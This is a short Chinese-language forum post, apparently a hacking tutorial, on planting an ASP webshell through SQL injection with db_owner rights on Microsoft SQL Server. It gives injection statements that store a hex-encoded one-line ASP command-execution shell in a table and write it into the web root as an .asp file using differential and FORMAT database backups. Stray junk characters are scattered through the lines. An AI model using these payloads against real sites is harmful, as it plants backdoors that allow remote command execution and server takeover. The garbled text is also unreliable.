DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
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1 S: w  J$ v6 l* J0 Q& q3 X$ F- @7 ?一利用差异备份
( n+ ~. Y1 G/ ?加一个参数WITH DIFFERENTIAL
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 g) X  _, G) I: Dcreate table [dbo].[xiaolu] ([cmd] [image]);
% D8 y/ o$ R6 [  u4 A3 H( ]insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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3 D1 h' J# L  Q9 s$ O二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

& H5 n: ~/ N& u5 R/ U& kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
9 C- N) a  p* W$ Tcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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# l/ P3 }- G* ^0 R; @总的来说就是那么简单几句,下面以备份数据库model为例子

* t3 ]$ Q* x, g0 b! v0 O# a( Yid=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–